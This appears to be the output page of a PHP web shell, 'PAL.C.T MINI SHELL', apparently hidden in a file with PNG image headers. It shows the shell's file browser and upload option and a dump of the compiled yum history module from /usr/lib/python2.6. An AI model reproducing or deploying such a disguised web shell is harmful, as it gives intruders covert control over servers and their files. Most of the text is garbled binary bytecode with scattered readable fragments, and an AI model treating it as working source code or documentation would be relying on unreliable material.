php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/yum/
upload
files >> //usr/lib/python2.6/site-packages/yum/history.pyo

[c@sddkZddkZddkZddkZddkZddklZddklZl	Z	l
Z
ddkiZddk
Zddk
TddklZlZlZddklZlZddklZdZhd	e6d
e6de6de6d
e6de6de6Z hed	6ed
6ed6ed6ed
6ed6ed6ed6ed6ed6ed6Z!e"e#dZ$dfdYZ%defdYZ&de&fdYZ'dfdYZ(dfdYZ)de)fd YZ*d!fd"YZ+d#Z,dS($iN(tproxy(tsqlitet
executeSQLtsql_esc_glob(t*(tYumInstalledPackagetYumAvailablePackaget
PackageObject(t
to_unicodetto_utf8(tgetBaseArchs/var/lib/yum/historytUpdatetUpdatedtErasetInstallsTrue-Installt	Obsoletedt
ObsoletingsDep-Installt	Reinstallt	Downgradet
DowngradedcCsV|d
jo
g}ndddddddg}t}x,|D]$}tii|ot}Pq?q?Wt}|pdg}t}nt||jo
g}n|ot	|}ng}t}xN|D]F}ti
|o|i|dft}q|i|d	fqW|o |o|o|||tfS|}|||tfS(svSetup need_full and patterns for _yieldSQLDataList, also see if
       we can get away with just using searchNames(). tnametsql_nameArchtsql_nameVerRelArchtsql_nameVertsql_nameVerRelt	sql_envrat	sql_nevratglobt=N(tNonetFalsetyumtmisctre_full_search_neededtTruetPATTERNS_MAXtPATTERNS_INDEXED_MAXtlenRtre_globtappend(tpatternstignore_casetfieldst	need_fulltpattpat_maxttmpt	need_glob((s//usr/lib/python2.6/site-packages/yum/history.pyt_setupHistorySearchSQL>s>

			


t_YumHistPackageYumDBc	BsYeZdZdZedddddddd	gZd
ZdZd
dZ	RS(s9 Class to pretend to be yumdb_info for history packages. cCs
||_dS(N(t_pkg(tselftpkg((s//usr/lib/python2.6/site-packages/yum/history.pyt__init__hstcommand_linet	from_repotfrom_repo_revisiontfrom_repo_timestamptinstalled_byt
changed_bytreasont
releasevercCs|i}|idotd||fn||ijotd||fn|ii||}to$|djotd||fn|djodSt|pd}t	||||S(s0 Load yumdb attributes from the history sqlite. t_s%s has no yum attribute %stN(
R2t
startswithtAttributeErrort_valid_yumdb_keyst_historyt_load_yumdb_keyRRtstrtsetattr(R3tattrR4tval((s//usr/lib/python2.6/site-packages/yum/history.pyt__getattr__ps	
cCs|i|}|dj	S(N(tgetR(R3RGtx((s//usr/lib/python2.6/site-packages/yum/history.pyt__contains__scCs.yt||}Wntj
o|SX|S(sretrieve an add'l data obj(tgetattrRA(R3RGtdefaulttres((s//usr/lib/python2.6/site-packages/yum/history.pyRJs
N(
t__name__t
__module__t__doc__R5tsetRBRIRLRRJ(((s//usr/lib/python2.6/site-packages/yum/history.pyR1es			tYumHistoryPackagecBseeZdddZeddddddddd	d
g
ZdZdZed
dZ	RS(c	Cs||_||_||_||_||_|i|i|i|i|if|_|djo
g|_n-|id}|d|ddfg|_d|_	||_
t||_dS(Nt:iis	<history>(
RtversiontreleasetepochtarchtpkgtupRt
_checksumstsplittrepoidRCR1t
yumdb_info(	R3RRYRXRVRWtchecksumthistorytchk((s//usr/lib/python2.6/site-packages/yum/history.pyR5s					

		t	buildtimet	buildhosttlicensetpackagertsizet	sourcerpmturltvendort	committert
committimecCs|idotd||fn||ijotd||fn|ii||}to$|djotd||fn|djodSt|pd}t||||S(s0 Load rpmdb attributes from the history sqlite. R>s%s has no attribute %sR?N(	R@RAt_valid_rpmdb_keysRCt_load_rpmdb_keyRRRERF(R3RGRH((s//usr/lib/python2.6/site-packages/yum/history.pyRIs
cCsd|ijos|iid}|iidj	o=d|ijo-|ii|iijod|ii}nd|ii|S|iS(s This reports the repo the package is from, we integrate YUMDB info.
            for RPM packages so a package from "fedora" that is installed has a
            ui_from_repo of "@fedora". Note that, esp. with the --releasever
            option, "fedora" or "rawhide" isn't authoritive.
            So we also check against the current releasever and if it is
            different we also print the YUMDB releasever. This means that
            installing from F12 fedora, while running F12, would report as
            "@fedora/13". R7R?R=t/t@N(R^RCR=RR7R](R3tend((s//usr/lib/python2.6/site-packages/yum/history.pyt
_ui_from_repos	
tfgetcCs
|iS((Rq(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt<lambda>sN(
RPRQRR5RSRlRIRqtpropertytui_from_repo(((s//usr/lib/python2.6/site-packages/yum/history.pyRTs			tYumHistoryPackageStatecBseZdddZRS(c			Cs8ti||||||||d|_||_dS(N(RTR5Rtdonetstate(	R3RRYRXRVRWRxR_R`((s//usr/lib/python2.6/site-packages/yum/history.pyR5s
	N(RPRQRR5(((s//usr/lib/python2.6/site-packages/yum/history.pyRvstYumHistoryRpmdbProblemcBs;eZdZdZdZdZeddZRS(sZ Class representing an rpmdb problem that existed at the time of the
        transaction. cCs7t||_||_||_||_d|_dS(N(tweakrefRCtrpidtproblemttextRt	_loaded_P(R3R`R{R|R}((s//usr/lib/python2.6/site-packages/yum/history.pyR5s
			cCsM|djodSt|i|i}|o|St|i|i}|S(Ni(RtcmpR|R{(R3tothertret((s//usr/lib/python2.6/site-packages/yum/history.pyt__cmp__s
cCs9|idjo"t|ii|i|_n|iS(N(R~RtsortedRCt_old_prob_pkgsR{(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt_getProbPkgss"RrcCs
|iS((R(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRss(RPRQRRR5RRRttpackages(((s//usr/lib/python2.6/site-packages/yum/history.pyRys
				tYumHistoryTransactioncBseZdZdZdZdZdZdZeddZ	eddZ
edd	Zd
ZeddZ
dZedd
ZdZdZeddZeddZRS(s# Holder for a history transaction. cCst||_|d|_|d|_|d|_|d|_|d|_|d|_|d|_d|_
d|_d|_d|_
t|_d|_d|_d|_d|_d|_dS(Niiiiiii(RzRCttidt
beg_timestamptbeg_rpmdbversiont
end_timestamptend_rpmdbversiontloginuidtreturn_codeRt
_loaded_TWt
_loaded_TDt
_loaded_TSt_loaded_PROBRt_have_loaded_CMDt_loaded_CMDt
_loaded_ERt
_loaded_OTtaltered_lt_rpmdbtaltered_gt_rpmdb(R3R`trow((s//usr/lib/python2.6/site-packages/yum/history.pyR5s$






									cCso|djodSt|i|i}|o|St|i|i}|o|St|i|i}|S(Ni(RRRRR(R3RR((s//usr/lib/python2.6/site-packages/yum/history.pyRs
cCs9|idjo"t|ii|i|_n|iS(N(RRRRCt_old_with_pkgsR(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt
_getTransWith&s"cCs9|idjo"t|ii|i|_n|iS(N(RRRRCt_old_data_pkgsR(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt
_getTransData*s"cCs9|idjo"t|ii|i|_n|iS(N(RRRRCt_old_skip_pkgsR(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt
_getTransSkip.s"RrcCs
|iS((R(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRs3scCs
|iS((R(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRs4scCs
|iS((R(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRs5scCs9|idjo"t|ii|i|_n|iS(N(RRRRCt
_old_problemsR(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt_getProblems7s"cCs
|iS((R(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRs<scCs6|ip%t|_|ii|i|_n|iS(N(RR"RCt_old_cmdlineRR(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt_getCmdline>s
	cCs
|iS((R(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRsDscCs3|idjo|ii|i|_n|iS(N(RRRCt_load_errorsR(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt
_getErrorsFscCs3|idjo|ii|i|_n|iS(N(RRRCt_load_outputR(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt
_getOutputJscCs
|iS((R(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRsOscCs
|iS((R(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRsPs(RPRQRRR5RRRRRtt
trans_witht
trans_datat
trans_skipRtrpmdb_problemsRtcmdlineRRterrorstoutput(((s//usr/lib/python2.6/site-packages/yum/history.pyRs"		
							tYumMergedHistoryTransactioncBseZdZdZeddZdZeddZdZeddZ	dZ
edd	Z
ed
ZedZedZd
ZdZdZdZdZdZdZRS(cCst|ig|_|g|_|i|_|i|_|i|_|i|_d|_	d|_
g|_d|_t
|_d|_d|_d|_d|_d|_dS(N(RSRt_merged_tidst_merged_objsRRRRRRRRRRRRRRRR(R3tobj((s//usr/lib/python2.6/site-packages/yum/history.pyR5Ss 									cCs
t|iS(N(RR(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt_getAllTidsnsRrcCs
|iS((R(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRspscCsEtd|iD}t|djot|dSt|S(Ncssx|]}|iVqWdS(N(R(t.0R((s//usr/lib/python2.6/site-packages/yum/history.pys	<genexpr>ss	ii(RSRR%tlistR(R3R((s//usr/lib/python2.6/site-packages/yum/history.pyt
_getLoginUIDsrscCs
|iS((R(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRswscCsftd|iD}t|djod|jodSd|jo|idnt|S(Ncssx|]}|iVqWdS(N(R(RR((s//usr/lib/python2.6/site-packages/yum/history.pys	<genexpr>zs	ii(RSRR%tremoveR(R3t	ret_codes((s//usr/lib/python2.6/site-packages/yum/history.pyt_getReturnCodesys 
cCs
|iS((R(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRsscCsug}t}xY|iD]N}xE|iD]:}|i|joq)n|i|i|i|q)WqWt|S(N(RSRRRZtaddR'R(R3RtfiltRR4((s//usr/lib/python2.6/site-packages/yum/history.pyRs	

cCs3|djo
|i}n|it|i|fS(s6 Take a pkg and return the key for it's state lookup. N(RRxRR
RY(R4Rx((s//usr/lib/python2.6/site-packages/yum/history.pyt_p2sks

cCsMh}h}x4|D],}ti|}|||i<|||<qW||fS(N(RRRZ(tpkgst
pkgtup2pkgtpkgstate2pkgR4tkey((s//usr/lib/python2.6/site-packages/yum/history.pyt
_list2dicts
c	Cst|i|i|i|i|i|d|i}|i|_|i|_t	|i
tjo
t|_
nt	|i
tjo
t|_
n|S(NR`(RvRRYRXRVRWRCR[Rwt
_sttxt2stcodeRxtTS_INSTALL_STATESR"tstate_installedtTS_REMOVE_STATESR(R4Rxtnpkg((s//usr/lib/python2.6/site-packages/yum/history.pyt_conv_pkg_states

cCsFt|tdjoti|}n||jodS||S(Nii(ii(ttypeRRR(tskR((s//usr/lib/python2.6/site-packages/yum/history.pyt_get_pkgs

cCsj|i||}|djodS||i|=|i||}|||i<|||i|<dS(N(RRRRRZ(R3RtnstateRRtxpkg((s//usr/lib/python2.6/site-packages/yum/history.pyt	_move_pkgs

csfd}fd}fd}fd}fdfdfd}hhxiD]}i|i\x0tiD]}|\}}	}
|
djoqn|}x;dD]0}|i||}
|
dj	oPqqWqtoq||
jo/||d|d
jo||
dqq||
jo/||d|d
jo||
dqq||d
jo||
dqqWtii	i}x|D]}|jp
|joqn|}|}
toq|i
djo"|
i
djo|q0q|i
djo
d}q|i
djotoq0|
i
djo|||
q0|
i
djo-|||
|i|d|i
q0|
i
djo-|||
|i|d|i
q0q|i
djotoq0|
i
djo|
q0|
i
djoI|||
|i|d|
i
|i|d|
i
q0|
i
djo%|i|d}|djo|i|d}n|djo!|i
d
joqn|}n|i|
d}|djo|i|
d}n|djo|i|
d
}n|djoqn|||
||joUd}d
|i
|i
fjo
d
}n||jo|||n|q,||jo^d}d}d
|i
|i
fjo
d
}n||jo|||n|||q,d}d}d
|i
|i
fjo
d
}n||jo|||n|||q0qqWxD]}||<q;WxD]}||<qZWqWtiS(Ncsi|S(N(R(R(R3t
fpkgstate2pkg(s//usr/lib/python2.6/site-packages/yum/history.pyt
_get_pkg_fscsi|S(N(R(R(R3t
npkgstate2pkg(s//usr/lib/python2.6/site-packages/yum/history.pyt
_get_pkg_nscsi||dS(N(R(RR(R3tfpkgtup2pkgR(s//usr/lib/python2.6/site-packages/yum/history.pyt_move_pkg_fscsi||dS(N(R(RR(R3tnpkgtup2pkgR(s//usr/lib/python2.6/site-packages/yum/history.pyt_move_pkg_nscs5|i=i|}|jo|=ndS(N(RZR(R4R(R3RR(s//usr/lib/python2.6/site-packages/yum/history.pyt_del1_ns

cs5|i=i|}|jo|=ndS(N(RZR(R4R(R3RR(s//usr/lib/python2.6/site-packages/yum/history.pyt_del1_fs

cs||dS(N((tfpkgR(RR(s//usr/lib/python2.6/site-packages/yum/history.pyt_del2s
RR
RsTrue-InstallsDep-InstallRRRRRR(RR
(RsTrue-InstallsDep-InstallR(RR
RRR(RR
(RsTrue-InstallsDep-InstallR(RsTrue-InstallsDep-Install(R
R(RRR(R
R(RR(
RRRRtkeysRRRRStintersectionRxRtvalues(R3RRRRRRRRRYRxRtxstateRtsametupsRZtgood_statestxfpkgtxnpkgtnfstatetnnstateRK((RRRR3RRRs//usr/lib/python2.6/site-packages/yum/history.pyRs



	







!



 
$
 














cCsHt}x2|iD]'}x|iD]}|i|q#WqWt|S(N(RSRRRR(R3tprobsRtprob((s//usr/lib/python2.6/site-packages/yum/history.pyRas	

cCsmg}xT|iD]I}|ipqn|o|d|ijoqn|i|iqW|pdS|S(Ni(RRR'R(R3tcmdlinesR((s//usr/lib/python2.6/site-packages/yum/history.pyRhs

cCs.g}x!|iD]}|i|iqW|S(N(RtextendR(R3RR((s//usr/lib/python2.6/site-packages/yum/history.pyRts

cCs.g}x!|iD]}|i|iqW|S(N(RRR(R3RR((s//usr/lib/python2.6/site-packages/yum/history.pyRys

cCs|i|ijodS|ii|i|ii||iidt|i|ijo|i|_|i|_n|i	|i	jo|i	|_	|i
|_
ndS(Ntreverse(RRRRR'tsortR"RRRR(R3R((s//usr/lib/python2.6/site-packages/yum/history.pytmergesN(RPRQR5RRtRRRRRRtstaticmethodRRRRRRRRRRRR(((s//usr/lib/python2.6/site-packages/yum/history.pyRRs(													t
YumHistorycBs?eZdZded@dZdZdZdZdZ	dZ
d@edZed	Z
ed
ZedZedZed
ZdZdZdZdZdZdZggd@dZdZdZdZdZd@dZdZ d@dZ!dZ"dZ#dZ$dZ%d Z&d!Z'gd@ed"Z(ed#Z)d$Z*d%Z+d&Z,d'Z-d(Z.d)Z/d*Z0d+Z1d,Z2d-Z3d.Z4d/Z5ed0Z6d1d2d3d4gZ7d5Z8d6d7d8d9d:d;d<d=gZ9d>Z:d?Z;RS(As, API for accessing the history sqlite data. Rnc	
Csd|_tii|_tii|i	|p$tii|d||i_
ntiid||i_
t|i_t
|i_||_d|_tii|ii
pFyti|ii
Wnttfj
o
}dSXt
|i_n-ti|ii
tiot
|i_ntid|ii
}xtt|D]}tii|}|tdtd!}|idd}t|djoqXnytt|Wntj
o
qXnXd|d	|d
|df|_ ||_PqXW|idjo|i!pdSn|ii
d|i |i_"tii|ii"p:yti|ii"Wqttfj
o
}dSXn-ti|ii"tiot
|i_ndS(NRns%s/history-*-*-*.sqliteshistory-s.sqlitet-iis%s-%s-%siii(#Rt_connRR t
GenericHoldertconftostpathtnormpathR@tdb_pathRtwritableR"treadableR=t_db_filetexiststmakedirstIOErrortOSErrortaccesstW_OKRtreversedRtbasenameR%R\tmaptintt
ValueErrort_db_datet_create_db_filet
addon_path(	R3trootRR=tetDBstdtfnametpieces((s//usr/lib/python2.6/site-packages/yum/history.pyR5sV	$		"	
	
cCs|idS(N(tclose(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt__del__scCs|idjot|iipdSyti|i|_Wn,titifj
ot	|i_dSXt
|iidn|iiS(NsPRAGMA locking_mode = EXCLUSIVE(RRRRRtconnectRtOperationalErrort
DatabaseErrorRRtcursor(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt_get_cursors
cCs
|iiS(N(Rtcommit(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt_commitscCs
|iiS(N(Rtrollback(R3((s//usr/lib/python2.6/site-packages/yum/history.pyt	_rollbackscCs.|idj	o|iid|_ndS(N(RRR(R3((s//usr/lib/python2.6/site-packages/yum/history.pyRs
c
CsL|i}t|d|xm|D]e\}}|djo|djo|S|djoq#n|djoq#n||jo|Sq#W|pdS|\}}}	}
}t|t|t|	t|
t|f\}}}	}
}|dj	o(t|d|||	|
||f}n"t|d|||	|
|f}|iS(NsSELECT pkgtupid, checksum FROM pkgtups
                           WHERE name=? AND arch=? AND
                                 epoch=? AND version=? AND release=?sINSERT INTO pkgtups
                                (name, arch, epoch, version, release, checksum)
                                VALUES (?, ?, ?, ?, ?, ?)sINSERT INTO pkgtups
                                (name, arch, epoch, version, release)
                                VALUES (?, ?, ?, ?, ?)(RRRRt	lastrowid(
R3RZR_tcreatetcurtsql_pkgtupidtsql_checksumtntaRtvtrRO((s//usr/lib/python2.6/site-packages/yum/history.pyt_pkgtup2pids2



	0
cCsW|i}|dj	o(dt|dt|df}n|i|i||S(Ns%s:%sii(treturnIdSumRRER RZ(R3tpoRtcsum((s//usr/lib/python2.6/site-packages/yum/history.pyt	_apkg2pids
(cCsYd}|i}d|jo'd|jod|i|if}n|i|i||S(Nt
checksum_typet
checksum_datas%s:%s(RR^R%R&R RZ(R3R"RR#tyumdb((s//usr/lib/python2.6/site-packages/yum/history.pyt	_ipkg2pids
	cCs|i||S(N(R$(R3R"R((s//usr/lib/python2.6/site-packages/yum/history.pyt	_hpkg2pidscCsyt|to|i||St|to|i||St|to|i||S|i|id|S(N(
t
isinstanceRR(RR$RTR)R RZR(R3R"R((s//usr/lib/python2.6/site-packages/yum/history.pytpkg2pidscCsd}|ittfjo,|io
d}qH|io
d}qHn|itjo|io
d}qpn|djo7ti	|i}|djo|i
o
d}qn|S(NRRRRsDep-Install(Rtoutput_statet
TS_INSTALLtTS_TRUEINSTALLt	reinstallt
downgradestTS_ERASEt
downgraded_byt
_stcode2sttxtRJtisDep(ttxmbrRx((s//usr/lib/python2.6/site-packages/yum/history.pyttxmbr2state's




cCs@|i}|djodSt|d|i|f}|iS(NskINSERT INTO trans_with_pkgs
                         (tid, pkgtupid)
                         VALUES (?, ?)(RRRt_tidR(R3tpidRRO((s//usr/lib/python2.6/site-packages/yum/history.pyttrans_with_pid8s
cCsN|i}|djp|iodSt|d|i|f}|iS(NskINSERT INTO trans_skip_pkgs
                         (tid, pkgtupid)
                         VALUES (?, ?)(RRt_update_db_file_2RR7R(R3R8RRO((s//usr/lib/python2.6/site-packages/yum/history.pyttrans_skip_pidBscCsft|dp
|djodS|i}|djodSt|d|i||f}|iS(NR7suINSERT INTO trans_data_pkgs
                         (tid, pkgtupid, state)
                         VALUES (?, ?, ?)(thasattrRRRR7R(R3R8RxRRO((s//usr/lib/python2.6/site-packages/yum/history.pyttrans_data_pid_begMs
cCspt|dp
|djodS|i}|djodSt|dd|i||f}|idS(NR7sUPDATE trans_data_pkgs SET done = ?
                         WHERE tid = ? AND pkgtupid = ? AND state = ?
                         tTRUE(R<RRRR7R(R3R8RxRRO((s//usr/lib/python2.6/site-packages/yum/history.pyttrans_data_pid_endYs
c
	Cslt|dpdS|i}|djp|iodSt|i}t|d|i|i|f}|i	}|p|Sh}|i
}|||i<|idjo%x"|iD]}|||i<qWn|idjo|i
||i
i<nxd|iD]V}|i|}|i|i
ijo
d}	nd}	t|d|||	f}qW|S(NR7swINSERT INTO trans_rpmdb_problems
                         (tid, problem, msg)
                         VALUES (?, ?, ?)t	conflictst
duplicatesR>tFALSEs}INSERT INTO trans_prob_pkgs
                             (rpid, pkgtupid, main)
                             VALUES (?, ?, ?)(R<RRR:Rt__str__RR7R|RR4RZR@t	duplicateRR+(
R3R|RtuproblemROR{RR4R8tmain((s//usr/lib/python2.6/site-packages/yum/history.pyt_trans_rpmdb_problemgs>			



cCsit|dpdS|i}|djp|iodSt|d|it|f}|iS(NR7shINSERT INTO trans_cmdline
                         (tid, cmdline)
                         VALUES (?, ?)(R<RRR:RR7RR(R3RRRO((s//usr/lib/python2.6/site-packages/yum/history.pyt_trans_cmdlinesc
Cs@|i}|djodSt|dttit|tiif}|i	|_
x*|D]"}	|i|	}
|i|
qgWx?|D]7}|i
|i}
|i|}|i|
|qWx*|D]"}	|i
|	}
|i|
qWx|D]}
|i|
qW|o|i|n|idS(NsINSERT INTO trans_beg
                            (timestamp, rpmdb_version, loginuid)
                            VALUES (?, ?, ?)(RRRRttimeRERR tgetloginuidRR7R(R9R+R"R6R=R;RGRHR(R3t
rpmdb_versiont
using_pkgsttxmbrst
skip_packagesRRRROR4R8R5RxR|((s//usr/lib/python2.6/site-packages/yum/history.pytbegs6
	cCsb|i}|djodSx3|D]+}t|}t|d|i|fq%W|idS(NsJINSERT INTO trans_error
                          (tid, msg) VALUES (?, ?)(RRRRR7R(R3RRterror((s//usr/lib/python2.6/site-packages/yum/history.pyt_log_errorss
cCs|djpt|dodS|i}|djodSx9|iD]+}t|}t|d|i|fqNW|idS(s6 Note that data can be either a real pkg. ... or not. R7NsSINSERT INTO trans_script_stdout
                          (tid, line) VALUES (?, ?)(RR<Rt
splitlinesRRR7R(R3tdatatmsgRRP((s//usr/lib/python2.6/site-packages/yum/history.pytlog_scriptlet_outputs

cCsK|i}t|d|fg}x|D]}|i|dq,W|S(NsfSELECT msg FROM trans_error
                      WHERE tid = ?
                      ORDER BY mid ASCi(RRR'(R3RRRR((s//usr/lib/python2.6/site-packages/yum/history.pyRs
cCsK|i}t|d|fg}x|D]}|i|dq,W|S(NsoSELECT line FROM trans_script_stdout
                      WHERE tid = ?
                      ORDER BY lid ASCi(RRR'(R3RRRR((s//usr/lib/python2.6/site-packages/yum/history.pyRs
cCst|dpdS|i}|djodSt|d|ittit||f}|i|p't|dd|if|in|dj	o|i	|n|`dS(NR7sINSERT INTO trans_end
                            (tid, timestamp, rpmdb_version, return_code)
                            VALUES (?, ?, ?, ?)sKUPDATE trans_data_pkgs SET done = ?
                          WHERE tid = ?R>(
R<RRRR7RRIRERRQ(R3RKRRRRO((s//usr/lib/python2.6/site-packages/yum/history.pyRps"
	

c	Cs"t|dptS|ptS|ptS|iidt|i}|iioNtii	|o:yti
|ddWqttfj
o
}tSXn|i
dd}|d|}y:t|d}|it||i|iWnttfj
o
}tSXtS(sappend data to an arbitrary-named file in the history 
           addon_path/transaction id location,
           returns True if write succeeded, False if notR7RntmodeiR>sw+(R<RRRRER7RRRRRRRtreplacetopentwriteR	tflushRR"(R3tdatanameRSttid_dirRtsafenametdata_fntfo((s//usr/lib/python2.6/site-packages/yum/history.pytwrite_addon_data	s,!

c
Cs|iidt|d}ti|d}g}|D]}||i|dq<~}|p|S||jodSt||d}|i}	|i|	S(NRnRR?R(	RRRERRWRRXtreadR(
R3Rtitemthist_and_tidt
addon_infot_[1]titaddon_namesR_RS((s//usr/lib/python2.6/site-packages/yum/history.pytreturn_addon_data2s-

c
Cs|i}t|d|fg}xT|D]L}t|d|d|d|d|d|dd|}|i|q,W|S(	NsSELECT name, arch, epoch, version, release, checksum
                      FROM trans_with_pkgs JOIN pkgtups USING(pkgtupid)
                      WHERE tid = ?
                      ORDER BY name ASC, epoch ASCiiiiiiR`(RRRTR'(R3RRRRR((s//usr/lib/python2.6/site-packages/yum/history.pyRBs
0	cCs|i}t|d|fg}x|D]}t|d|d|d|d|d|d|dd	|}|d
dj|_d|_t|itjo
t	|_nt|it
jo
t|_n|i|q,W|S(Ns	SELECT name, arch, epoch, version, release,
                             checksum, done, state
                      FROM trans_data_pkgs JOIN pkgtups USING(pkgtupid)
                      WHERE tid = ?
                      ORDER BY name ASC, epoch ASC, state DESCiiiiiiiR`iR>(
RRRvRwRRRRxRR"RRR'(R3RRRRR((s//usr/lib/python2.6/site-packages/yum/history.pyROs 
&	

c
Cs|i}|djp|iogSt|d|fg}xT|D]L}t|d|d|d|d|d|dd|}|i|qLW|S(	NsSELECT name, arch, epoch, version, release, checksum
                      FROM trans_skip_pkgs JOIN pkgtups USING(pkgtupid)
                      WHERE tid = ?
                      ORDER BY name ASC, epoch ASCiiiiiiR`(RRR:RRTR'(R3RRRRR((s//usr/lib/python2.6/site-packages/yum/history.pyRcs
0	c
Cs|i}|djp|iogSt|d|fg}xg|D]_}t|d|d|d|d|d|dd|}|d	d
j|_|i|qLW|S(NsSELECT name, arch, epoch, version, release, checksum, main
                      FROM trans_prob_pkgs JOIN pkgtups USING(pkgtupid)
                      WHERE rpid = ?
                      ORDER BY name ASC, epoch ASCiiiiiiR`iR>(RRR:RRTRFR'(R3R{RRRR((s//usr/lib/python2.6/site-packages/yum/history.pyRrs
0	cCs|i}|djp|iogSt|d|fg}x<|D]4}t||d|d|d}|i|qLW|S(NsSELECT rpid, problem, msg
                      FROM trans_rpmdb_problems
                      WHERE tid = ?
                      ORDER BY problem ASC, rpid ASCiii(RRR:RRyR'(R3RRRRR((s//usr/lib/python2.6/site-packages/yum/history.pyRs
!cCs_|i}|djp|iodSt|d|fg}x|D]}|dSWdS(Ns[SELECT cmdline
                      FROM trans_cmdline
                      WHERE tid = ?i(RRR:R(R3RRRR((s//usr/lib/python2.6/site-packages/yum/history.pyRs
	cCs|i}|d
jogSd}|p
d}nd
}|oWt|tiijo>tt|}}|ddidgt|7}n|d7}|d
j	o|dt	|7}nt
|||g}h}xt|D]l}	|o5t|tiijo|	d|joqq-nt||	}
|
||	d<|i|
qWd	}|i
}t|tiijot
||n5|ddidgt|7}t
|||xe|D]]}	|	d|joqn|	d
||	d_|	d||	d_|	d||	d_qWd
}xt|D]}
|
i}d
}
|d
j	o
|i}
n|
d
jp$|d
jp|id
|
ijon6|
|jot|
_t|_nt|
_t|_|
}qFW|S(s Return a list of the last transactions, note that this includes
            partial transactions (ones without an end transaction). s]SELECT tid,
                         trans_beg.timestamp AS beg_ts,
                         trans_beg.rpmdb_version AS beg_rv,
                         trans_end.timestamp AS end_ts,
                         trans_end.rpmdb_version AS end_rv,
                         loginuid, return_code
                  FROM trans_beg JOIN trans_end USING(tid)sSELECT tid,
                             trans_beg.timestamp AS beg_ts,
                             trans_beg.rpmdb_version AS beg_rv,
                             NULL, NULL,
                             loginuid, NULL
                      FROM trans_begs WHERE tid IN (%s)s, t?s ORDER BY tid DESCs LIMIT isSELECT tid,
                         trans_end.timestamp AS end_ts,
                         trans_end.rpmdb_version AS end_rv,
                         return_code
                  FROM trans_endiiiN(RRR%Rt	constantsR$RRStjoinRERRR'RRRRRRRR"RRR(R3ttidstlimittcomplete_transactions_onlyRtsqltparamsRttid2objRRtlastcur_rvtlas_rv((s//usr/lib/python2.6/site-packages/yum/history.pytoldsj

 (

 $
	

1
	
		
cCs)|igd|}|pdS|dS(si This is the last full transaction. So any incomplete transactions
            do not count, by default. iiN(RuR(R3RnR((s//usr/lib/python2.6/site-packages/yum/history.pytlastscCs|i}|djp|iodS|i|dt}|djodSdh|d6}t||||fx|D]}|dSWdS(NRs\SELECT %(db)sdb_val FROM pkg_%(db)sdb
                  WHERE pkgtupid=? and %(db)sdb_key=? tdbi(RRt_update_db_file_3R+RR(R3R4RwRGRR8RoR((s//usr/lib/python2.6/site-packages/yum/history.pyt_load_anydb_keys
	cCs|i|d|S(Ntrpm(Ry(R3R4RG((s//usr/lib/python2.6/site-packages/yum/history.pyRm
scCs|i|d|S(NR(Ry(R3R4RG((s//usr/lib/python2.6/site-packages/yum/history.pyRDscCs|i}|djp|iodS|i|dt}|djodSdh|d6}t||||t|f|iS(NRshINSERT INTO pkg_%(db)sdb (pkgtupid, %(db)sdb_key, %(db)sdb_val)
                        VALUES (?, ?, ?)Rw(RRRxR+RRRR(R3R4RwRGRHRR8Ro((s//usr/lib/python2.6/site-packages/yum/history.pyt_save_anydb_keys
cCs|i|d||S(NRz(R{(R3R4RGRH((s//usr/lib/python2.6/site-packages/yum/history.pyt_save_rpmdb_keyscCs|i|d||S(NR(R{(R3R4RGRH((s//usr/lib/python2.6/site-packages/yum/history.pyt_save_yumdb_key scCs\xUtiD]J}t||d}|djoq
n|i|d||ptSq
WtS(se Save all the data for rpmdb for this installed pkg, assumes
            there is no data currently. RzN(RTRlRMRR{RR"(R3tipkgRGRH((s//usr/lib/python2.6/site-packages/yum/history.pyt_save_rpmdb#s

	cCs\xUtiD]J}|ii|}|djoq
n|i|d||ptSq
WtS(se Save all the data for yumdb for this installed pkg, assumes
            there is no data currently. RN(R1RBR^RJRR{RR"(R3R~RGRH((s//usr/lib/python2.6/site-packages/yum/history.pyt_save_yumdb.s

	cCs{|i}|djp|iotS|i|dt}|djotSdh|d6}t|||ftS(s= Delete all the data for rpmdb/yumdb for this installed pkg. Rs)DELETE FROM pkg_%(db)sdb WHERE pkgtupid=?RwN(RRRxRR+RR"(R3R4RwRR8Ro((s//usr/lib/python2.6/site-packages/yum/history.pyt_wipe_anydb9s
cCsh|i|dptS|i|do|i|o
|i|p|itS|itS(s< Sync. all the data for rpmdb/yumdb for this installed pkg. RzR(RRRRRRR"(R3R~((s//usr/lib/python2.6/site-packages/yum/history.pyt
sync_alldbHs

